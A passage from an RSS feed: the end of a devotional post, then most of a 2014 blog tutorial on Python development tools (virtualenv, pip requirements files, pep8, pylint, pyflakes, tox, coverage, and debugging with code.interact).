idols until I embrace you fully, and place all my heart's hope on your power
and your absolute and uncompromising love for me. &lt;a href="https://www.bible.com/bible/59/psa.73.25.esv"&gt;Whom have I in heaven but
you.&lt;/a&gt; &lt;a href="https://www.bible.com/bible/59/psa.27.8.esv"&gt;You have said &amp;quot;seek my
face.&amp;quot; My heart says to you, &amp;quot;Your face Lord, do I
seek.&amp;quot;&lt;/a&gt; May the way that I respond
to my disappointment serve to glorify you, rather than draw pity to me.&lt;/p&gt;</description><author>trv.rs</author><pubDate>Thu, 13 Nov 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://evantravers.com/articles/2014/11/13/filling-the-void/</guid></item><item><title>A Python toolbox</title><link>https://bfontaine.net/2014/11/11/a-python-toolbox/</link><description>&lt;p&gt;I started learning Python four years ago and have been heavily programming with
it for near than a year now. In this post I’ll share some tools I use to ease
and speed-up my workflow, either in the Python code or in the development
environment.&lt;/p&gt;

&lt;p&gt;These tips should be OS- and editor-independent. I have some useful Vim plugins
to work with Python, but that’ll be for another post. You might have to adapt
commands if you work on Windows.&lt;/p&gt;

&lt;h2 id="setting-things-up"&gt;Setting Things Up&lt;/h2&gt;

&lt;p&gt;Let’s say you’re starting a Python library. You have a couple dependencies, and
hopefully you’d like it to work on multiple versions, like 2.6, 2.7, and 3.x.
How can you test that? You have to (a) manage your dependencies to not mess up
with your user environment, and (b) test with multiple Python versions.&lt;/p&gt;

&lt;p&gt;Introducing &lt;a href="http://virtualenv.readthedocs.org/en/latest/virtualenv.html"&gt;virtualenv&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Virtualenv lets you create &lt;em&gt;isolated&lt;/em&gt; Python environments. That means you get a
pristine environment where you’ll install your library’s dependencies, and
nothing else. It’ll be independent of your user space. It’s important to work
with an isolated environment because you don’t know which environment will your
users have, so you shouldn’t make any assumption besides your own requirements.
Working with your user environment means you might forgot a dependency because
it just works since it’s installed on your computer but it’ll broke if run on
another computer without this dependency.&lt;/p&gt;

&lt;p&gt;You should be able to install it with &lt;code class="language-plaintext highlighter-rouge"&gt;pip&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ pip install virtualenv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It needs a directory to store the environment. I usually use &lt;code class="language-plaintext highlighter-rouge"&gt;venv&lt;/code&gt;, but you
can choose whatever you want:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ virtualenv venv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can then either “activate” the environment, which adds its &lt;code class="language-plaintext highlighter-rouge"&gt;bin&lt;/code&gt; directory
in your &lt;code class="language-plaintext highlighter-rouge"&gt;PATH&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ source venv/bin/activate
$ python  # that's your virtualenv's Python
$ deactivate
$ python  # that's your Python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or prefix your commands with &lt;code class="language-plaintext highlighter-rouge"&gt;venv/bin/&lt;/code&gt; (replace &lt;code class="language-plaintext highlighter-rouge"&gt;venv&lt;/code&gt; with your directory’s
name):&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/python  # that's your virtualenv's Python
$ python  # that's your Python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I usually do the later. Install dependencies in the environment:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip install your-dependency
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget to tell Git or any tool you’re using for versioning to ignore
this &lt;code class="language-plaintext highlighter-rouge"&gt;venv&lt;/code&gt; directory. It can take some place (from 12MB to more than 40MB)
depending on the number of dependencies you’re relying on.&lt;/p&gt;

&lt;p&gt;To remove an environment, just delete its directory:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ rm -rf venv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It can be convenient to save place on your computer if you have dozen of
environments for different projects, especially if can quickly re-create any
environment with its dependencies.&lt;/p&gt;

&lt;p&gt;If you’re using &lt;code class="language-plaintext highlighter-rouge"&gt;pip&lt;/code&gt; to manage them, you should know you can install
dependencies not only from the command line, but also from a file, with one
dependency per line. Each one of them is processed as if it were given on the
command-line.&lt;/p&gt;

&lt;p&gt;For example, you could have &lt;a href="https://github.com/bfontaine/term2048/blob/master/requirements.txt"&gt;a file&lt;/a&gt; containing this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;colorama==0.2.7
coverage==3.7.1
pep8==1.4.6
py==1.4.20
tox==1.7.0
argparse&amp;gt;=1.1
virtualenv==1.11.4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This file is usually called &lt;code class="language-plaintext highlighter-rouge"&gt;requirements.txt&lt;/code&gt;, but here again you can call it
whatever you want. You call install all these at once with this command:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But we’re programmers and we’re lazy, we don’t want to track down each
installed library to include it in this file.&lt;/p&gt;

&lt;p&gt;Here comes &lt;code class="language-plaintext highlighter-rouge"&gt;pip freeze&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;pip freeze&lt;/code&gt; outputs all installed libraries with their version. It can be put
in our &lt;code class="language-plaintext highlighter-rouge"&gt;requirements.txt&lt;/code&gt; for later use:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ pip freeze &amp;gt; requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This &lt;code class="language-plaintext highlighter-rouge"&gt;requirements.txt&lt;/code&gt; file becomes handy when used with &lt;code class="language-plaintext highlighter-rouge"&gt;virtualenv&lt;/code&gt; because
you’re now able to fire up a new environment and install all required
libraries, with two commands:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ virtualenv venv
$ venv/bin/pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that these are libraries used in the environment, not necessarily your
library’s dependencies. In the above example you can see we’re installing
&lt;code class="language-plaintext highlighter-rouge"&gt;coverage&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;pep8&lt;/code&gt;, which respectively are a code coverage test tool and a
lint one we’ll talk about later in this post, not libraries we’re depending on
here.&lt;/p&gt;

&lt;p&gt;You should thus add this file in your public repository, because it provides
anyone with the informations they need to have in order to mirror your
environment and be able to contribute to your project.&lt;/p&gt;

&lt;h2 id="coding"&gt;Coding&lt;/h2&gt;

&lt;p&gt;Now that your local environment is ready, you can start coding your library.
You’ll often have to fire an interpreter to test some things, use &lt;code class="language-plaintext highlighter-rouge"&gt;help()&lt;/code&gt; to
check a function’s arguments, etc. Having to type the same things over and over
takes time, and remember: we’re lazy.&lt;/p&gt;

&lt;p&gt;Like Bash and some other tools, the Python interpreter can be configured with
an user file, namely &lt;code class="language-plaintext highlighter-rouge"&gt;$PYTHONSTARTUP&lt;/code&gt;. It allows you to add autocompletion,
import common modules, and execute pretty much any code you want.&lt;/p&gt;

&lt;p&gt;Start by setting &lt;code class="language-plaintext highlighter-rouge"&gt;PYTHONSTARTUP&lt;/code&gt; in your &lt;code class="language-plaintext highlighter-rouge"&gt;~/.bashrc&lt;/code&gt; (if you’re using Bash):&lt;/p&gt;

&lt;div class="language-bash highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PYTHONSTARTUP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.pythonrc.py"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we’re telling the interpreter to look for the &lt;code class="language-plaintext highlighter-rouge"&gt;$HOME/.pythonrc.py&lt;/code&gt; file
and executing it before giving us a prompt.&lt;/p&gt;

&lt;p&gt;Let’s initialize this file with autocompletion support:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;readline&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;rlcompleter&lt;/span&gt;
    &lt;span class="n"&gt;readline&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse_and_bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tab: complete&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can add a lot more &lt;a href="http://www.sontek.net/blog/2010/12/28/tips_and_tricks_for_the_python_interpreter.html"&gt;stuff&lt;/a&gt; in this file, like &lt;a href="https://github.com/bfontaine/Dotfiles/blob/master/.pythonrc.py#L21-L38"&gt;history&lt;/a&gt;
support, &lt;a href="https://github.com/coderholic/config/blob/master/.pythonrc.py#L77-L80"&gt;colored prompts&lt;/a&gt; or common imports. For example, if you use &lt;code class="language-plaintext highlighter-rouge"&gt;sys&lt;/code&gt;
and &lt;code class="language-plaintext highlighter-rouge"&gt;re&lt;/code&gt; a lot, you can save time by adding them in your startup file:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You won’t need to type these two lines anymore in your interpreter. It doesn’t
change how Python executes files, just the interactive interpreter.&lt;/p&gt;

&lt;h2 id="testing"&gt;Testing&lt;/h2&gt;

&lt;p&gt;Four different kinds of tests are covered by this part: style checkers to
ensure your code’s consistency, static analysis tools to detect problems before
executing the code, unit tests to actually test your library, and code coverage
tests to ensure you do test &lt;em&gt;all&lt;/em&gt; the code.&lt;/p&gt;

&lt;h3 id="style-checking"&gt;Style Checking&lt;/h3&gt;

&lt;p&gt;These are tools which help you maintaining a consistent coding style in your
whole codebase. Most of these tools are easy to use, the hardest part being to
choose which one fits your requirements.&lt;/p&gt;

&lt;p&gt;Python has a PEP (&lt;q&gt;Python Enhancement Proposal&lt;/q&gt;, sort of RFC), the
&lt;a href="http://legacy.python.org/dev/peps/pep-0008/"&gt;PEP 8&lt;/a&gt;, dedicated to its coding conventions. If you want to follow
it, a command-line tool, rightly named &lt;code class="language-plaintext highlighter-rouge"&gt;pep8&lt;/code&gt;, is available.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip install pep8
$ venv/bin/pep8 your/lib/root/directory
...
foo/mod.py:84:80: E501 line too long (96 &amp;gt; 79 characters)
foo/mod.py:85:6: E203 whitespace before ':'
foo/mod.py:86:80: E501 line too long (87 &amp;gt; 79 characters)
foo/mod.py:87:4: E121 continuation line indentation is not a multiple of four
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’ll check each file and print a list of warnings. You can choose to hide some
of them, or use a white list to decide which ones you want. It’s a good tool if
you want to follow the PEP 8 conventions.&lt;/p&gt;

&lt;p&gt;Another highly customizable tool is &lt;code class="language-plaintext highlighter-rouge"&gt;pylint&lt;/code&gt;. It reads its configuration from
a file in your project, which can &lt;a href="http://stackoverflow.com/a/22449845/735926"&gt;inherit&lt;/a&gt; from global and user
configurations. It’ll warn you about bad naming, missing docstrings, functions
which take too many arguments, duplicated code, etc. It also gives you some
statistics about your code. It’s really powerful but can be a pain if you don’t
configure it. For example, it warns you about one-letter variables while you
might find them ok.&lt;/p&gt;

&lt;p&gt;Enters &lt;code class="language-plaintext highlighter-rouge"&gt;prospector&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Prospector is built on top of &lt;code class="language-plaintext highlighter-rouge"&gt;pep8&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;pylint&lt;/code&gt; and comes with sane defaults
regarding the pickiness of both tools. You can &lt;a href="http://blog.landscape.io/prospector-python-static-analysis-for-humans.html"&gt;tell it&lt;/a&gt; to only
print important problems about your code:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip install prospector
$ venv/bin/prospector --strictness high
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You’ll get a much shorter output, which will hopefully help you find potential
problems in your code.&lt;/p&gt;

&lt;h3 id="static-analysis"&gt;Static Analysis&lt;/h3&gt;

&lt;p&gt;Here, we’re talking about analysing the code without executing it. Compiled
languages benefit from this at compilation time, but interpreted languages like
Python have no way to have it.&lt;/p&gt;

&lt;p&gt;One of the most popular tools for static analysis on Python code is
&lt;a href="https://launchpad.net/pyflakes"&gt;Pyflakes&lt;/a&gt;. It doesn’t check your coding style like &lt;code class="language-plaintext highlighter-rouge"&gt;pep8&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;pylint&lt;/code&gt;, but
warns you about missing imports, dead code, unused variables, redefined
functions and more. You can work without style checkers, but static analysis is
really helpful to detect potential bugs before actually running the code.&lt;/p&gt;

&lt;p&gt;Pyflakes can be integrated in editors like Vim with &lt;a href="https://github.com/scrooloose/syntastic#readme"&gt;Syntastic&lt;/a&gt;, but its
command-line usage is as easy as the previous tools:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip install pyflakes
$ venv/bin/pyflakes your/directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Prospector, mentioned in the previous section, also includes &lt;code class="language-plaintext highlighter-rouge"&gt;pyflakes&lt;/code&gt;. You
might also want to try &lt;a href="https://pypi.python.org/pypi/flake8"&gt;Flake8&lt;/a&gt;, which combines &lt;code class="language-plaintext highlighter-rouge"&gt;pyflakes&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;pep8&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id="unit-tests"&gt;Unit Tests&lt;/h3&gt;

&lt;p&gt;When talking about &lt;q&gt;testing&lt;/q&gt;, we usually think of &lt;em&gt;unit&lt;/em&gt; testing, which is
testing small pieces of our code at a time, to make sure everything is working
correctly. The goal is to test only one feature at a time, to quickly be able
to find which parts of the code are not working. There are a lot of great
testing frameworks, and Python comes with a built-in one, &lt;a href="https://docs.python.org/2/library/unittest.html"&gt;unittest&lt;/a&gt;, which I
personnally use. I won’t cover these, and I’ll instead cover the case when you
need to test on multiple Python versions, which is often the case when you
plan to release a public library. You obviously don’t want to manually switch
to each Python version, install your dependencies then run your tests suit each
time.&lt;/p&gt;

&lt;p&gt;This is a job for &lt;code class="language-plaintext highlighter-rouge"&gt;tox&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://testrun.org/tox/latest/"&gt;Tox&lt;/a&gt; uses Virtualenv, which I talked about earlier, to create standalone
Python environments for different Python versions, and test your code in each
one of them.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip install tox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Like some previous tools, it needs a configuration file. Here is a basic
&lt;code class="language-plaintext highlighter-rouge"&gt;tox.ini&lt;/code&gt; to test on Python 2.6, 2.7, 3.3 and 3.4:&lt;/p&gt;

&lt;div class="language-ini highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nn"&gt;[tox]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;envlist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;py26, py27, py33, py34&lt;/span&gt;
&lt;span class="py"&gt;downloadcache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;{toxworkdir}/_download/&lt;/span&gt;
&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nn"&gt;[testenv]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;sitepackages&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;False&lt;/span&gt;
&lt;span class="py"&gt;deps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;colorama&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;commands&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="na"&gt;{envpython}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;{toxinidir}/tests/test.py&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It declares one dependency, &lt;code class="language-plaintext highlighter-rouge"&gt;colorama&lt;/code&gt;, and tells &lt;code class="language-plaintext highlighter-rouge"&gt;tox&lt;/code&gt; to run tests by
executing &lt;code class="language-plaintext highlighter-rouge"&gt;tests/test.py&lt;/code&gt;. That’s all. We can then run our tests:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip/tox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’ll takes some time on the first run to fetch dependencies and create
environments, but all the following times will be faster.&lt;/p&gt;

&lt;p&gt;Like &lt;code class="language-plaintext highlighter-rouge"&gt;virtualenv&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;tox&lt;/code&gt; uses a directory to store these environments. You can
safely delete it if you need more space, it’ll be re-created by &lt;code class="language-plaintext highlighter-rouge"&gt;tox&lt;/code&gt; the next
time:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ rm -rf .tox
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id="code-coverage"&gt;Code Coverage&lt;/h3&gt;

&lt;p&gt;This last part about testing talks about code coverage tests. These are tests
about tests. The goal here is to ensure your tests cover all your code, and
you don’t leave some parts untested. Most tools tell you how many lines where
executed when running your tests suit, and give you an overall coverage
percentage.&lt;/p&gt;

&lt;p&gt;One of them is &lt;code class="language-plaintext highlighter-rouge"&gt;coverage&lt;/code&gt;.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/pip install coverage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Give it your project’s root directory as well as a file to run your tests:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/coverage run --source=your/directory tests/test.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’ll run them, and give you a nice coverage report:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ coverage report -m
Name              Stmts   Miss  Cover   Missing
-----------------------------------------------
foobar/__init__       5      0   100%
foobar/base          46      2    96%   5-6
foobar/cli          159    159     0%   3-280
foobar/config        66     66     0%   3-150
foobar/session       64     14    78%   9-10, 106-124
foobar/barfooqux     22      0   100%
foobar/helloworld    25     20    20%   14-41
...
-----------------------------------------------
TOTAL               459    313    32%
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It can also give you an HTML version:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ venv/bin/coverage html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Getting to 100% is the ultimate goal, but you’ll quickly find that’s the first
80% are easy and the remaining 20% are the hardest part, especially when you
have I/O, external dependencies like databases, and/or complicated
corner-cases.&lt;/p&gt;

&lt;p&gt;Check &lt;a href="http://nedbatchelder.com/code/coverage/"&gt;Coverage&lt;/a&gt;’s doc for more info.&lt;/p&gt;

&lt;h2 id="debugging"&gt;Debugging&lt;/h2&gt;

&lt;p&gt;There are a lot of ways to debug, including logs, but the simplest debugging
tool is the good old &lt;code class="language-plaintext highlighter-rouge"&gt;print&lt;/code&gt;. It becomes really impracticable when you have to
restart your server every time you add or remove one of them from your code.
What if you could fire a Python interpreter right from your code and inspect it
when it’s running? Well, you can do that with Python’s &lt;code class="language-plaintext highlighter-rouge"&gt;code&lt;/code&gt; module! This
trick is really handy, and I’ve been using it heavily instead of these &lt;code class="language-plaintext highlighter-rouge"&gt;print&lt;/code&gt;s
we write everywhere since I’ve discovered it.&lt;/p&gt;

&lt;p&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;code&lt;/code&gt; module provides you with an &lt;code class="language-plaintext highlighter-rouge"&gt;interact&lt;/code&gt; function, which takes a
&lt;code class="language-plaintext highlighter-rouge"&gt;dict&lt;/code&gt; of variables to inject in the interpreter. You’ll be able to print them,
play with them, but these changes won’t be reflected in the program you’re
debugging.&lt;/p&gt;

&lt;p&gt;Remember that Python lets you get all global variables as a &lt;code class="language-plaintext highlighter-rouge"&gt;dict&lt;/code&gt; with
&lt;code class="language-plaintext highlighter-rouge"&gt;globals()&lt;/code&gt; and all local ones with &lt;code class="language-plaintext highlighter-rouge"&gt;locals()&lt;/code&gt;. We thus start by creating a
mirror of the local environment:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nb"&gt;vars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nb"&gt;vars&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;locals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These two lines get all global variables (including imported modules) in a
&lt;code class="language-plaintext highlighter-rouge"&gt;dict&lt;/code&gt; called &lt;code class="language-plaintext highlighter-rouge"&gt;vars&lt;/code&gt; and add local variables in it. This can then be passed
directly to the interpreter:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;
&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;interact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;vars&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will start an interpreter with all these variables already available in
it. There’s nothing to install, this is a &lt;a href="https://docs.python.org/2/library/code.html#code.interact"&gt;standard Python module&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can even inline the code and add it in your favorite snippets manager:&lt;/p&gt;

&lt;div class="language-python highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;locals&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;interact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget to remove it when you’re done!&lt;/p&gt;

&lt;h2 id="tldr"&gt;TL;DR&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Use &lt;code class="language-plaintext highlighter-rouge"&gt;virtualenv&lt;/code&gt; to isolate your Python environment, &lt;code class="language-plaintext highlighter-rouge"&gt;pip freeze&lt;/code&gt; and a
&lt;code class="language-plaintext highlighter-rouge"&gt;requirements.txt&lt;/code&gt; file to keep track of your dependencies.&lt;/li&gt;
  &lt;li&gt;Write a &lt;code class="language-plaintext highlighter-rouge"&gt;pythonrc.py&lt;/code&gt; file to add autocomplete support to your interpreter&lt;/li&gt;
  &lt;li&gt;Use &lt;code class="language-plaintext highlighter-rouge"&gt;pep8&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;pylint&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;pyflakes&lt;/code&gt; to keep a high code quality&lt;/li&gt;
  &lt;li&gt;Use &lt;code class="language-plaintext highlighter-rouge"&gt;tox&lt;/code&gt; to test on multiple Python versions&lt;/li&gt;
  &lt;li&gt;Fire a local interpreter instead of &lt;code class="language-plaintext highlighter-rouge"&gt;print&lt;/code&gt;ing variables&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That was all. Please comment on this post if you think of any tool you use to
